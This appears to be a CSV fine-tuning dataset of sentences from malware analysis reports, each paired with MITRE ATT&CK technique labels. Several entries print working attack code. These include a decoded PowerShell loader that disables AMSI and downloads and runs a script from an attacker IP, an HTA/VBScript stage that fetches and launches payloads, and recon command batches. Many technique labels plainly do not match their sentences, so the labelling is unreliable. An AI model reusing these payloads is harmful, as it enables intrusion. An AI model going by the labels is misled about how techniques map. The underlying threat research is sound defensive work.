"The PowerShell command decodes to the following:$command = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACAAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKACAAIAAgACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAzADkALgA1ADkALgA0ADYALgAxADUANAA6ADMANAA4ADUALwBJAE0AbwA4AG8AbwBzAGkAZQBWAGEAaQAnACkAOwAKACAAIAAgACAA'         if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')          {                          $exec = $Env:windir + '\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command             IEX $exec         }         else         {             $exec = [System.Convert]::FromBase64String($command)             $exec = [Text.Encoding]::Unicode.GetString($exec)             IEX $exec         }The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following:[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};     try{      [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)     }catch{}     IEX (New-Object Net.WebClient).DownloadString('http:// 139.59.46[.]154:3485 /IMo8oosieVai');This decoded PowerShell script attempts to download and execute a file using HTTP from the URL “hxxp:// 139.59.46[.]154:3485 /IMo8oosieVai”",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"The prior example decrypts to the following: mailto:121.126.211[.]94:8080;80;80   The following Python script may be used to decode the C2 data used by the newest Comnie variant:      12345678910111213141516171819202122232425262728293031323334353637383940  import base64import sysimport refrom string import maketransfrom struct import *import requestsdef rc4_crypt(data, key):  S = range(256)  j = 0  out = []  for i in range(256):    j = (j + S[i] + ord( key[i % len(key)] )) % 256    S[i] , S[j] = S[j] , S[i]  i = j = 0  for char in data:    i = ( i + 1 ) % 256    j = ( j + S[i] ) % 256    S[i] , S[j] = S[j] , S[i]    out.append(chr(ord(char) ^ S[(S[j] + S[i]) % 256]))  return ''.join(out)def decode(data):  o = """"  for d in data:    od = ord(d)    o += chr((4 * (16 * od | od & 0xC) | (((od >> 4 | od & 0x30) >> 2))) & 0xFF)  return obase64fixTable = maketrans(""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/""[::-1], ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"");def trans(string):  return str(string).translate(base64fixTable)def altdecode(string):  return base64.b64decode(trans(string))req = requests.get(sys.argv[1])fd = req.textoriginal_data = re.search(""magnet:/\?([^\?]+)\?"", fd).group(1)parsed_data = altdecode(original_data)dataLength = unpack(""<I"", parsed_data[64:68])[0]key = decode(parsed_data[0:64])data = parsed_data[dataLength*-1:]d = rc4_crypt(data, key)print(d)       Comnie will make attempts at connecting to the IP address above using the various ports specified","['T1573 - Encrypted Channel', 'T1048 - Exfiltration Over Alternative Protocol', 'T1486 - Data Encrypted for Impact']",fine_tune
The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0,"['T1027.002 - Obfuscated Files or Information: Software Packing', 'T1027 - Obfuscated Files or Information']",fine_tune
The results of the decoded data may be seen below:    Figure 13 Decrypted information The decrypted data contains URLs for various online services that will be used by the attacker for downloading data that will contain the command and control (C2) server(s) and port(s) to be used by Comnie,"['T1140 - Deobfuscate/Decode Files or Information', 'T1041 - Exfiltration Over C2 Channel', 'T1048 - Exfiltration Over Alternative Protocol']",fine_tune
"The sample creates an array that contains the following strings for the Trojan to use as C2 locations: http://23.227.196[.]215/ http://apple-iclods[.]org/ http://apple-checker[.]org/ http://apple-uptoday[.]org/ http://apple-search[.]info Notice the last one is missing the trailing “/”, which causes an issue when the Trojan attempts to use this string to build the remainder of the C2 URL, as the Trojan will append the next string in the URL directly to this string","['T1071 - Application Layer Protocol', 'T1008 - Fallback Channels']",fine_tune
"The screenshots included remote desktop (RDP) sessions showing the Glimpse panel, a web browser session displaying a C2 panel called Scarecrow, web browser sessions into VPS administrative panels, and evidence of potential destructive attacks against OilRig servers","['T1113 - Screen Capture', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
"The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request’s cookie in the PHPSESSID field, as seen in the example GET request:       GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246Host: www.rdppath[.]comCookie: PHPSESSID=<c2 provided session id>Connection: Keep-Alive     If the payload is unable to reach the C2 via HTTPS/HTTP, the payload yet again falls back to DNS tunneling","['T1071 - Application Layer Protocol', 'T1041 - Exfiltration Over C2 Channel', 'T1008 - Fallback Channels']",fine_tune
"The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script","['T1036 - Masquerading', 'T1064 - Scripting']",fine_tune
The SecurityAssist task is responsible for running the following command line command that uses the Certutil application to decode the base64 encoded data in Base.txt and saves the decoded data to the file %PROGRAMDATA%\IntelSecurityAssistManager.exe:cmd.exe /c Certutil -decode %appdata%\Base.txt %programdata%\IntelSecurityAssistManager.exe & SchTasks /Delete /F /TN SecurityAssist The macro also creates a second scheduled task named Conhost that waits two minutes and runs a VBScript %APPDATA%\chkSrv.vbs,"['T1140 - Deobfuscate/Decode Files or Information', 'T1036 - Masquerading']",fine_tune
"These dropped files bundle functionality for both 64bit and 32bit Windows systems and are all located within one directory: C:\Documents and Settings\user\Application Data\ATI_Subsystem\ 6761106f816313394a653db5172dc487,amdhcp32.dll,54kb  ← 32bit dll,CompiledOn:2014.07.02 21:13:24 d596827d48a3ff836545b3a999f2c3e3,aticaldd.dll,60kb  ← 64bit dll,CompiledOn:2014.07.02 21:13:26 bc626c8f11ed753f33ad1c0fe848d898,atiumdag.dll,285kb ← 32bit dll, Trojan.Win32.CozyDuke.a, CompiledOn:2014.07.02 21:13:26 4152e79e3dbde55dcf3fc2014700a022,6kb,racss.dat The code copies rundll32.exe from windows\system32 to its newly created %appdata%\ATI_Subsystem subdirectory as “amdocl_as32.exe” alongside the three dll’s listed above","['T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system","['T1518.001 - Software Discovery: Security Software Discovery', 'T1497 - Virtualization/Sandbox Evasion']",fine_tune
The server-side component provides a simple graphical user interface for threat actors interacting with web shells,"['T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
These vulnerabilities include:CVE-2015-6585: Hangul Word Processor VulnerabilityCVE-2015-8651: Adobe Flash Player 18.0.0.324 and 19.x VulnerabilityCVE-2016-0034: Microsoft Silverlight 5.1.41212.0 VulnerabilityCVE-2016-1019: Adobe Flash Player 21.0.0.197 VulnerabilityCVE-2016-4117: Adobe Flash Player 21.0.0.226 VulnerabilityDHS recommends that organizations upgrade these applications to the latest version and patch level,"['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution']",fine_tune
"The SHA256 hash is then base64 encoded, which results in an encoded string of EfZrVfPSQwNiHl75VlsCpXbMWLxfh4nK6Ww9QABkuQ4=, of which the first 24 characters are used as the 3DES key","['T1027 - Obfuscated Files or Information', 'T1132 - Data Encoding']",fine_tune
"The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.]date/0m5EE We were not able to retrieve the shellcode hosted at this URL","['T1071 - Application Layer Protocol', 'T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"The source code only considers the following machine types:default:   lpString = ""(Other)"";               break;case 0x02: lpString = ""(Unknown)"";             break;case 0x03: lpString = ""(Desktop)"";             break;case 0x04: lpString = ""(Low Profile Desktop)""; break;case 0x06: lpString = ""(Mini Tower)"";          break;case 0x07: lpString = ""(Tower)"";               break;case 0x08: lpString = ""(Portable)"";            break;case 0x09: lpString = ""(Laptop)"";              break;case 0x0A: lpString = ""(Notebook)"";            break;case 0x0E: lpString = ""(Sub Notebook)"";        break;The string format - with the () - and the considering types are exactly the same as those used in the ROKRAT samples.It's interesting to note that this reconnaissance phase was not included in the ROKRAT variant used during the ""Golden Time"" campaign.Brower StealerFor the first time, the ROKRAT sample used during the ""North Korean Human Rights"" contained a browser credentials stealer","['T1008 - Fallback Channels', 'T1124 - System Time Discovery']",fine_tune
"The started command will send the following information to the C&C:  device_model: the model identifier (e.g.: MacBookPro9,2) bot_version: version of Keydnap build_name: the “build name” that was given by downloader os_version: OS X or macOS kernel version ip_address: external IP address as reported by ipify.org has_root: 1 if executed as root, 0 otherwise  Backdoor commands The response to get_task contains an integer to identify the type of command and optional arguments","['T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery']",fine_tune
The string “fjzmpcjvqp” is unique and not something likely to be present if the code was not generated with the same public POC exploit code,"['T1140 - Deobfuscate/Decode Files or Information', 'T1027.001 - Obfuscated Files or Information: Binary Padding']",fine_tune
"The switch statement checks for 19 cases, between 101 and 119. (Updated to correct command IDs, thanks @mykill!)    Command ID Function   Description   101 getInfoOSX Gathers username and OSX version and responds using the encrypted form of the following string: “Mac OS X – [OSX version] x64<br>\nUser name – [username]”   102 getProcessList Runs “ps aux” to obtain a list of running processes   103 remoteShell Runs supplied command using “/bin/sh”   104 getInstalledAPP Gets a list of installed applications by running the command “ls -la /Applications”   105 showBackupIosFolder Checks to see if an IOS device was backed up to the system by running the command “ls -la ~/Library/Application\ Support/MobileSync/Backup/”   106 downloadFileFromPath Uploads a file from a specified path   107 createFileInSystem Downloads a file, specifically provided within the C2 server’s HTTP response   108 execFile Executes a specified file on the system using the NSTask:launch method   109 deletFileFromPath Deletes a specified file using the NSFileManager:removeFileAtPath method   110 takeScreenShot Takes a screenshot using the CGGetActiveDisplayList, CGDisplayCreateImage, NSImage:initWithCGImage methods","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1071 - Application Layer Protocol', 'T1106 - Native API']",fine_tune
"The threat actor’s main objective for using this RAT (known as Razy/NeD worm/Wonder Botnet) was obvious from the victim data that was collected – it was to search for specific file extensions such as PDF, DOC, DOCX, XLS, and XLSX, where they are compressed in RAR files per category, stored in temp directories within a folder named by victim ID (bot ID – long MD5 string), encrypted and uploaded to the C2","['T1005 - Data from Local System', 'T1083 - File and Directory Discovery', 'T1074 - Data Staged']",fine_tune
"The tool runs the following list of WMI queries:  wmic logicaldisk get Caption, Description,VolumeSerialNumber,Size,FreeSpace wmic diskdrive get Model, SerialNumber wmic computersystem get Manufacturer, Model, Name, SystemTypec wmic os get Caption, OSArchitecture, OSLanguage,SystemDrive,MUILanguages wmic process get Caption,ExecutablePath  The URL used to send the system information, running processes and a screenshot to the C2 server is: hxxp://145.249.105[.]165/resource-store/stockroom-center-service/check.php?fm=[serial number] The C# variant of Zebrocy uses an HTTP POST request to the URL above to transmit the gathered data, of which is included within the HTTP POST data that is structured as follows: spp=[system information from WMI queries] &spvg=[screenshot in JPEG format] Conclusion The Sofacy group continues their attacks on organizations across the globe using similar tactics and techniques","['T1047 - Windows Management Instrumentation', 'T1057 - Process Discovery', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"The Trojan checks the modified time of the file by creating an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <file identifier> + “?supportTeamDrives=true&fields=modifiedTime” The Trojan then uses the following regular expression to obtain the modified time of the file from the HTTP response, which is saved to the variable named modification_time: \”modifiedTime\”:(.*) The Trojan then uploads a second file to the Google Drive, the purpose of which is to allow the Trojan to continually write to this file as it waits for the actor to modify the first file uploaded","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1074 - Data Staged', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1105 - Ingress Tool Transfer']",fine_tune
"The Trojan compares the TimeZone.CurrentTimeZone.DaylightName property to strings Iran, Arab, Arabia and Middle East, which will match the following time zones in Windows:   Arabic Daylight Time (UTC+3) Arab Daylight Time (UTC+3) Arabian Daylight Time (UTC+4) Middle East Daylight Time (UTC+2) Iran Daylight Time (UTC+3.5) According to MSDN, these five time zones encompass 10 countries that fall within UTC+2, +3, +3.5 or +4 as seen in Figure 3","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1124 - System Time Discovery']",fine_tune
"The Trojan downloads the contents of this file by crafting an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <first file identifier> + “?alt=media” With the contents of the file downloaded, the Trojan sets the modification_time variable to the current modification time so the Trojan knows when the actor makes further changes to the file","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer']",fine_tune
The Trojan will convert these hexadecimal bytes to their binary values and write them to a file and will run the file using the “open” function using the ShellExecuteW API function,"['T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"The URL used can be found in the embedded OLE object:hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]Here is the source code of the downloaded HTA document:<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Transitional//EN"" ""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd""><html xmlns=""http://www.w3.org/1999/xhtml""><head><meta content=""text/html; charset=utf-8"" http-equiv=""Content-Type"" /><title>Bonjour</title><script language=""VBScript"">Set owFrClN0giJ = CreateObject(""Wscript.Shell"")Set v1ymUkaljYF = CreateObject(""Scripting.FileSystemObject"")If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(""%PSModulePath%"") + ""..\powershell.exe"") ThenowFrClN0giJ.Run ""powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA="" ,0owFrClN0giJ.Run ""cmd /c echo hta>%tmp%\webbrowser1094826604.tmp"", 0End IfSelf.Close</script><hta:applicationid=""oHTA""applicationname=""Bonjour""application=""yes""></head></html>Once decoded using the base64 algorithm, we are able to read the final payload:$c=new-object System.Net.WebClient$t =$env:temp$t1=$t+""\\alitmp0131.jpg""$t2=$t+""\\alitmp0132.jpg""$t3=$t+""\\alitmp0133.js""try  {    echo $c.DownloadFile( ""hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg"",$t1)    $c.DownloadFile( ""hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg"",$t2)    $c.DownloadFile( ""hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp"",$t3)    wscript.exe $t3  }catch  {   }The purpose of this script is to download and execute a Windows script and two encoded payloads","['T1071 - Application Layer Protocol', 'T1064 - Scripting']",fine_tune
"The v.vbs script drops four components (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs) to the directory: C:\ProgramData\Windows\Microsoft\java\ v.vbs uses CertUtil.exe, a legitimate Microsoft command-line program installed as part of Certificate Services, to decode the base64-encoded files hUpdateCheckers.base and dUpdateCheckers.base, and drop hUpdateCheckers.ps1 and dUpdateCheckers.ps1 to the staging directory","['T1036 - Masquerading', 'T1074 - Data Staged', 'T1064 - Scripting']",fine_tune
"The VB.NET variant then gathers system information and running processes like other Zebrocy variants by running the following commands: systeminfo & tasklist The URL used to send the system information, running processes and a screenshot to the C2 server is: hxxp://109.248.148[.]42/agr-enum/progress-inform/cube.php?res=[serial number] The VB.NET variant of Zebrocy uses an HTTP POST request to the URL above to transmit the gathered data, of which is included within the HTTP POST data that is structured as follows (notice the spaces before and after ampersand “&”): data=[system information and running processes] & arg=[screenshot in BMP format] C# Zebrocy Variant The C# variant of Zebrocy is similar to other variants in functionality, but also has several unique attributes that are worth discussing","['T1082 - System Information Discovery', 'T1057 - Process Discovery', 'T1132 - Data Encoding']",fine_tune
"The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance","['T1036 - Masquerading', 'T1102 - Web Service']",fine_tune
"The White Atlas framework often utilized a small Javascript script to execute the malware dropper payload after it was decrypted by the VBA macro code, then to delete the dropper afterwards","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1064 - Scripting']",fine_tune
"The x command treats the supplied data as a PowerShell script that it will write to the current PowerShell script (Office365DCOMCheck.ps1/SystemDiskClean.ps1), effectively overwriting the initial PowerShell script with a secondary payload script","['T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
BE2 also uses start menu locations for persistence: UsersuserAppDataRoamingMicrosoftWindowsStart,"['T1007 - System Service Discovery', 'T1036 - Masquerading', 'T1074 - Data Staged']",fine_tune
"The “Excel” command receives another stage of the PowerShell code, saves it in “c:\programdata\a.ps1” and then asks Excel to execute this PowerShell script via DDE","['T1059 - Command and Scripting Interpreter', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"This account was suspended in short order, but immediately after the suspension, an alternate account with the username @dookhtegan1 with the same stylized profile image appeared and is still currently active","['T1033 - System Owner/User Discovery', 'T1087 - Account Discovery']",fine_tune
"This decrypted data is written to the following location:  %TEMP%\WUpdate.~tmp  This ‘WUpdate.~tmp’ file is then copied to a filename of ‘Applet.cpl’, which is placed in the previously identified file path","['T1140 - Deobfuscate/Decode Files or Information', 'T1074 - Data Staged']",fine_tune
"This DLL file creates a scheduled task named BaiduUpdateTask1, which attempts to run the malicious, spoofed MSBuild.exe every subsequent minute","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1036 - Masquerading']",fine_tune
"This file is written to the following file path:  % TEMP%\Update.~tmp  After the file is written, it is then copied to a filename of ’winhelp.cpl’ in the directory that was initially chosen","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1036 - Masquerading', 'T1074 - Data Staged']",fine_tune
"This has led it to do more, such as:  Communication with more C&C servers – up to 16 P2P communication between infected nodes MAC address check - PlugX runs if the MAC address of an infected host coincides with configuration information in itself (If not specified in the configuration, PlugX runs on any host)","['T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery']",fine_tune
"This indicates that the attackers stole and modified a legitimate document from the compromised user account, crafted a malicious decoy Word macro document using this stolen document and sent it to the target recipient who might be expecting the email from the original account user before the real sender had time to send it","['T1598.002 - Spearphishing Attachment', 'T1087 - Account Discovery', 'T1204 - User Execution']",fine_tune
"This is a classic RAT that can download, upload, execute commands on the victim host and, finally, perform keylogging","['T1056 - Input Capture', 'T1105 - Ingress Tool Transfer']",fine_tune
"This is performed by checking if the following libraries are loaded on the victim machine.SbieDll.dll (sandboxie library)Dbghelp.dll (Microsoft debugging tools)Api_log.dll (threatAnalyzer / GFI SandBox)Dir_watch.dll (threatAnalyzer / GFI SandBox)We were able to uncover some other techniques used by this variant of ROKRAT to make analysis difficult, Group 123 used an anti-debugging technique related to NOP (No Operation).nop dword ptr [eax+eax+00h] is a 5 byte NOP","['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"This log contains the external IP, the geographic location, the machine name, the time the machine was infected, as well as fields to be logged in the threat actor’s database","['T1070 - Indicator Removal on Host', 'T1124 - System Time Discovery']",fine_tune
"This particular sample connected to the CnC domain accounts.serveftp[.]com, which resolved to an IP address previously used by the threat group, although the IP had not been used for some time prior to this most recent activity:  MD5      0beb957923df2c885d29a9c1743dd94b  accounts.serveftp.com  59.188.0.197   BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy","['T1071 - Application Layer Protocol', 'T1016 - System Network Configuration Discovery']",fine_tune
This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine,"['T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer']",fine_tune
"This shortcut file points to ‘C:\Windows\system32\rundll32.exe “%APPDATA%\cnagnt.dll”,Sd’    One of the exceptions to the installation routine above is in the event Symantec is detected","['T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
This task is executed every 25 minutes and will repeat the actions described above – recreating the JavaScript code which later will create and execute a PowerShell script (described below),"['T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Thread Name   Description    Key logger  Logs key strokes for configured processes and sends them to the command and control (C2) server    Form grabber  Monitors HTTP traffic for form data and sends it to the C2 server    POS monitor  Monitors for changes to logs stored in C:\NSB\Coalition\Logs and nsb.pos.client.log and sends parsed data to the C2 server    PST monitor  Searches recursively for newly created Outlook personal storage table (PST) files within user directories and sends them to the C2 server    HTTP proxy monitor  Monitors HTTP traffic for requests sent to HTTP proxies, saves the proxy address and credentials for future use","['T1071 - Application Layer Protocol', 'T1090 - Proxy', 'T1041 - Exfiltration Over C2 Channel', 'T1132 - Data Encoding', 'T1486 - Data Encrypted for Impact']",fine_tune
Threat actor using appcmd to delete logs and disable logging,"['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1070.004 - Indicator Removal on Host: File Deletion']",fine_tune
"To create the scheduled task, the PowerShell payload starts by writing the following to a VBScript file with the same name as the task name  (ex","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1036 - Masquerading']",fine_tune
"To install the payload, the script will create a file %APPDATA%\OneDrive.bat and save the following string to it: powershell.exe -WindowStyle Hidden -exec bypass  -File “%APPDATA%\OneDrive.ps1” The script then writes a modified copy of itself to %APPDATA%\OneDrive.ps1, with the code that performs this installation omitted","['T1036 - Masquerading', 'T1064 - Scripting']",fine_tune
"To set up persistence, the loader creates a folder named “c:\temp”, sets its attributes to be a hidden and system folder to hide the folder from view in Windows Explorer","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1564.001 - Hide Artifacts: Hidden Files and Directories']",fine_tune
"Tweets by second account @dookhtegan1 providing a Telegram channel with the leaked files Data Dump Contents The contents of the data dump includes various types of datasets that appear to be results from reconnaissance activity, initial compromises, and tools the OilRig operators use against target organizations","['T1003 - OS Credential Dumping', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"Unpacking routine for SWF exploit The exploit is a memory corruption vulnerability that exists in the “com.adobe.tvsdk.mediacore.BufferControlParameters” class.  If the exploit is successful, it will gain arbitrary read / write operations within memory, thus allowing it to execute a second stage shellcode","['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution']",fine_tune
"Upon execution, the “Windows Folder.exe” file copies itself to C:\Users\<username>\AppData\Roaming and creates a Windows shortcut (LNK) file in the victim’s Startup directory as a persistence mechanism","['T1074 - Data Staged', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"Upon execution, this command extracted, decrypted, and executed the PowerShell backdoor payload stored in the HiveUploadTask text property of the RacTask class","['T1140 - Deobfuscate/Decode Files or Information', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Variable Name Description   gdu Google Drive URL for downloading files to the Google Drive account   gduu Google Drive URL for uploading files to the Google Drive account   gdue Google Drive URL for updating a file on the Google Drive account   gdo2t Google Drive URL used to get the OAUTH access_token   client_id The client_id for the OAUTH application   cs The client_secret for OAUTH   r_t The refresh_token for OAUTH    Table 6 Variables used to store settings needed to use Google Drive as a C2 To obtain an OAUTH access token to authenticate to the actor provided Google account, the Trojan sends an HTTP POST request to a URL stored in the gdo2t variable with grant_type, client_id, client_secret, and refresh_token fields added to the HTTP header and in the POST data",['T1102 - Web Service'],fine_tune
"Victims are targeted by watering hole attacks, and emails with links to malicious websites or with malicious attachments","['T1598.003 - Spearphishing Link', 'T1189 - Drive-by Compromise']",fine_tune
"Watch on Fox News: Hackers may use fake Netflix app to spy on users As users have become more attached to their mobile devices, they want everything on those devices","['T1120 - Peripheral Device Discovery', 'T1087 - Account Discovery']",fine_tune
"We are still analyzing this Trojan to determine the specific structure of the data sent between the Trojan and the C2 server; however, it does appear that the Trojan is using the RC4 algorithm to encrypt data sent to the C2 server within HTTP POST requests","['T1573 - Encrypted Channel', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"We are unsure of the shellcode hosted at this URL, but it is possible that additional shellcode-based payloads like Meterpreter could have been served by this shellcode","['T1064 - Scripting', 'T1105 - Ingress Tool Transfer']",fine_tune
We determined this by following the process in which the TwoFace++ loader webshell uses the actor provided password to authenticate and decrypt the embedded webshell:  Append a string to the password that acts as a salt Obtain the SHA1 hash of the resulting string containing the password and salt Base64 encode the SHA1 hash Compare the encoded hash with hardcoded base64 string If the encoded hash matches hardcoded base64 string then the inbound request is authenticated Generates the SHA256 hash of the password string Base64 encodes the SHA256 hash and uses the first 24 characters as a key Uses 24-character key and the 3DES cipher to decrypt the embedded webshell  Now let’s look at how this works with the values in the TwoFace++ loader sample,"['T1573 - Encrypted Channel', 'T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information', 'T1550.002 - Use Alternate Authentication Material: Pass the Hash', 'T1132 - Data Encoding']",fine_tune
We found two obfuscation techniques applied to the script: the first one changing the representation of variables; the second one changing the representation of strings in the script,"['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1027 - Obfuscated Files or Information']",fine_tune
"We have gathered three samples of the default loader associated with this group and extracted the following configurations:    SHA256 of Sample Configuration   82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 LAUNCHER_ARGS=[‘–host’, ‘www1.chrome-up[.]date:4443’, ‘-t’, ‘obfs3’]   db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f LAUNCHER_ARGS=[‘–host’, ‘www1.chrome-up[.]date:4443’, ‘-t’, ‘obfs3’]   7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 LAUNCHER_ARGS=[‘–host’, ‘139.59.46[.]154:3543’, ‘-t’, ‘obfs3’]      These configurations show that this group uses both fully-qualified domain names and IP addresses to host their Pupy C2 servers","['T1016 - System Network Configuration Discovery', 'T1102 - Web Service', 'T1008 - Fallback Channels']",fine_tune
"We have observed the following capabilities of this payload:  Get drive information Read files Write files Delete files Move files Spawn processes Create directories   Reaver TCP Payload The malicious CPL payload of Reaver has the following three exported functions:  ServiceMain CPlApplet DllEntryPoint  When the malware is initially loaded, DllEntryPoint will be called, which in turn will call a function that is responsible for decompressing a blob of data","['T1005 - Data from Local System', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1083 - File and Directory Discovery']",fine_tune
"We observed the threat group issue the following commands:  @echo off    dir c:\ >> %temp%\download    ipconfig /all >> %temp%\download    net user >> %temp%\download    net user /domain >> %temp%\download    ver >> %temp%\download    del %0    @echo off    dir ""c:\Documents and Settings"" >> %temp%\download    dir ""c:\Program Files\    "" >> %temp%\download    net start >> %temp%\download    net localgroup administrator >> %temp%\download    netstat -ano >> %temp%\download   These commands allow the threat group to gain information about the compromised computer and the network to which it belongs","['T1007 - System Service Discovery', 'T1105 - Ingress Tool Transfer', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
We’ve seen two onion addresses used in different samples:  g5wcesdfjzne7255.onion (Down) r2elajikcosf7zee.onion (Alive at time of writing)  The HTTP resource always starts with /api/osx/ and contains actions such as:  /api/osx/started to report the bot has just started /api/osx/keychain to exfiltrate the content of the keychain /api/osx/get_task?bot_id={botid}&version={version} to request a task (described below) /api/osx/cmd_executed to report a the output of a command that was executed /api/osx/task_complete?bot_id={botid}&task_id={taskid} to report a task was completed  HTTP POST content has two fields: bot_id and data,"['T1071 - Application Layer Protocol', 'T1106 - Native API']",fine_tune
"When communicating with its C2 server, the downloaders use multiple protocols, specifically HTTPS, HTTP or DNS, each of which provide a fallback channel in that order","['T1071 - Application Layer Protocol', 'T1008 - Fallback Channels']",fine_tune
"When comparing the provided timestamps of the delivery documents to the timestamps for the remote template documents from Table 2, we find that the time to attack is directly correlated to the last time the templates are modified","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1124 - System Time Discovery']",fine_tune
